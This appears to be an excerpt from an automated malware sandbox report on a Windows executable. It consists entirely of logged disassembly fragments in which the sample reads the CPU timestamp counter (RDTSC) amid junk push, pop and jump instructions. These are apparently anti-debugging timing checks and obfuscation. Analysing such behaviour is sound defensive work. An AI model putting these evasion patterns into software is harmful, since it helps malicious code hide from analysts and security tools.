Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38A12D second address: 38A174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5A95268F23h 0x0000000b jo 00007F5A95268F29h 0x00000011 jmp 00007F5A95268F1Dh 0x00000016 jnp 00007F5A95268F16h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5A95268F22h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38A174 second address: 38A17C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 49726F second address: 497273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 497273 second address: 497284 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 497284 second address: 49729A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5A95268F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F5A95268F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 498E0C second address: 498E10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 498C9A second address: 498C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4ACCDA second address: 4ACCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5A952DFC72h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4ACCF4 second address: 4ACD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5A95268F20h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4ACD09 second address: 4ACD0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4ACD0E second address: 4ACD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4ACE79 second address: 4ACE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5A952DFC66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4AD15E second address: 4AD16A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4AD16A second address: 4AD17E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 jnc 00007F5A952DFC66h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B0B54 second address: 4B0B6B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5A95268F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F5A95268F16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B0B6B second address: 4B0B82 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5A952DFC6Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B1D9A second address: 4B1DD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F5A95268F22h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F5A95268F16h 0x00000013 jmp 00007F5A95268F26h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B1DD0 second address: 4B1E08 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5A952DFC66h 0x00000008 jc 00007F5A952DFC66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5A952DFC6Eh 0x00000018 jmp 00007F5A952DFC77h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B3792 second address: 4B379E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5A95268F16h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B379E second address: 4B37BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC78h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B37BA second address: 4B380A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5A95268F23h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F5A95268F27h 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007F5A95268F28h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B3399 second address: 4B33A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4B33A2 second address: 4B33A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 535056E second address: 5350572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350572 second address: 5350576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350576 second address: 535057C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 535057C second address: 5350591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A95268F21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350591 second address: 53505A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53505A2 second address: 53505A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53505A6 second address: 53505AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53505AC second address: 53505C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 movzx eax, bx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53505C1 second address: 53505D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 296222BFh 0x00000008 mov ax, 2BDBh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53505D7 second address: 53505DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53505DB second address: 53505E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53505E1 second address: 5350600 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350600 second address: 5350627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5A952DFC75h 0x00000009 jmp 00007F5A952DFC6Bh 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350627 second address: 535063C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5A95268F1Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 535063C second address: 5350669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5A952DFC6Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340070 second address: 5340075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340075 second address: 53400C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007F5A952DFC76h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 movsx ebx, cx 0x00000018 call 00007F5A952DFC76h 0x0000001d pop eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53400C8 second address: 53400ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5A95268F1Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53400ED second address: 53400FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A952DFC6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53400FF second address: 5340126 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F5A95268F27h 0x0000000e xchg eax, edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340126 second address: 534012A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 534012A second address: 534012E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 534012E second address: 5340134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340134 second address: 534013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 534013A second address: 534013E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 534013E second address: 5340142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340142 second address: 534015B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5A952DFC6Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 534015B second address: 5340163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340163 second address: 53401A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e pushfd 0x0000000f jmp 00007F5A952DFC77h 0x00000014 adc cl, FFFFFFCEh 0x00000017 jmp 00007F5A952DFC79h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53401A7 second address: 53401B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A95268F1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340236 second address: 53402AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5A952DFEBBh 0x0000000f pushad 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F5A952DFC79h 0x00000017 and cx, 6BE6h 0x0000001c jmp 00007F5A952DFC71h 0x00000021 popfd 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007F5A952DFC70h 0x00000029 adc ch, FFFFFF88h 0x0000002c jmp 00007F5A952DFC6Bh 0x00000031 popfd 0x00000032 popad 0x00000033 lea ecx, dword ptr [ebp-14h] 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53402AF second address: 53402B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53402B3 second address: 53402B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53402B7 second address: 53402BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53402BD second address: 53402C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53402C3 second address: 53402C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340416 second address: 534041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 534041A second address: 5340420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340420 second address: 5340537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F5B0603DCC0h 0x0000000f pushad 0x00000010 mov bl, al 0x00000012 call 00007F5A952DFC73h 0x00000017 jmp 00007F5A952DFC78h 0x0000001c pop esi 0x0000001d popad 0x0000001e js 00007F5A952DFC9Eh 0x00000024 jmp 00007F5A952DFC71h 0x00000029 cmp dword ptr [ebp-14h], edi 0x0000002c jmp 00007F5A952DFC6Eh 0x00000031 jne 00007F5B0603DC71h 0x00000037 jmp 00007F5A952DFC70h 0x0000003c mov ebx, dword ptr [ebp+08h] 0x0000003f jmp 00007F5A952DFC70h 0x00000044 lea eax, dword ptr [ebp-2Ch] 0x00000047 jmp 00007F5A952DFC70h 0x0000004c xchg eax, esi 0x0000004d jmp 00007F5A952DFC70h 0x00000052 push eax 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007F5A952DFC71h 0x0000005a and cx, 81E6h 0x0000005f jmp 00007F5A952DFC71h 0x00000064 popfd 0x00000065 mov ecx, 18429417h 0x0000006a popad 0x0000006b xchg eax, esi 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f mov dl, 31h 0x00000071 pushfd 0x00000072 jmp 00007F5A952DFC70h 0x00000077 add cx, A0B8h 0x0000007c jmp 00007F5A952DFC6Bh 0x00000081 popfd 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340537 second address: 5340571 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, F4h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a call 00007F5A95268F28h 0x0000000f mov ebx, ecx 0x00000011 pop esi 0x00000012 mov ecx, ebx 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5A95268F1Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340571 second address: 53405B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F5A952DFC6Eh 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5A952DFC77h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340649 second address: 534064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 534064F second address: 5340653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340653 second address: 5340666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f movzx eax, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340666 second address: 5340681 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A952DFC77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340A39 second address: 5340A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov edi, 09139CBCh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340A62 second address: 5340A9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5A952DFC6Bh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5A952DFC75h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340B34 second address: 5340B66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F5A95268F1Ah 0x00000015 pop esi 0x00000016 mov ecx, edx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340B66 second address: 5340BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5A952DFC6Ah 0x00000009 adc ecx, 1474D948h 0x0000000f jmp 00007F5A952DFC6Bh 0x00000014 popfd 0x00000015 mov cx, C8BFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, dword ptr [eax] 0x0000001e jmp 00007F5A952DFC75h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 jmp 00007F5A952DFC71h 0x0000002c pop eax 0x0000002d pushad 0x0000002e call 00007F5A952DFC6Ch 0x00000033 mov ax, 99A1h 0x00000037 pop eax 0x00000038 call 00007F5A952DFC77h 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340BE5 second address: 5340C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 call 00007F5B05FBDE9Dh 0x0000000b push 76092B70h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov eax, dword ptr [esp+10h] 0x0000001b mov dword ptr [esp+10h], ebp 0x0000001f lea ebp, dword ptr [esp+10h] 0x00000023 sub esp, eax 0x00000025 push ebx 0x00000026 push esi 0x00000027 push edi 0x00000028 mov eax, dword ptr [760F4538h] 0x0000002d xor dword ptr [ebp-04h], eax 0x00000030 xor eax, ebp 0x00000032 push eax 0x00000033 mov dword ptr [ebp-18h], esp 0x00000036 push dword ptr [ebp-08h] 0x00000039 mov eax, dword ptr [ebp-04h] 0x0000003c mov dword ptr [ebp-04h], FFFFFFFEh 0x00000043 mov dword ptr [ebp-08h], eax 0x00000046 lea eax, dword ptr [ebp-10h] 0x00000049 mov dword ptr fs:[00000000h], eax 0x0000004f ret 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F5A95268F20h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340C02 second address: 5340C4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F5A952DFC77h 0x0000000b and si, 645Eh 0x00000010 jmp 00007F5A952DFC79h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 sub esi, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5A952DFC6Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340C4F second address: 5340C54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340C81 second address: 5340C87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340C87 second address: 5340C8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340C8D second address: 5340C91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5340C91 second address: 5340CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a pushad 0x0000000b push esi 0x0000000c mov edi, 1232EA8Ah 0x00000011 pop ebx 0x00000012 mov si, 49D7h 0x00000016 popad 0x00000017 je 00007F5B05FACBF3h 0x0000001d pushad 0x0000001e mov esi, 6E419CCFh 0x00000023 pushad 0x00000024 push eax 0x00000025 pop edi 0x00000026 pushfd 0x00000027 jmp 00007F5A95268F1Eh 0x0000002c sbb ax, 3778h 0x00000031 jmp 00007F5A95268F1Bh 0x00000036 popfd 0x00000037 popad 0x00000038 popad 0x00000039 cmp dword ptr [ebp+08h], 00002000h 0x00000040 pushad 0x00000041 push esi 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
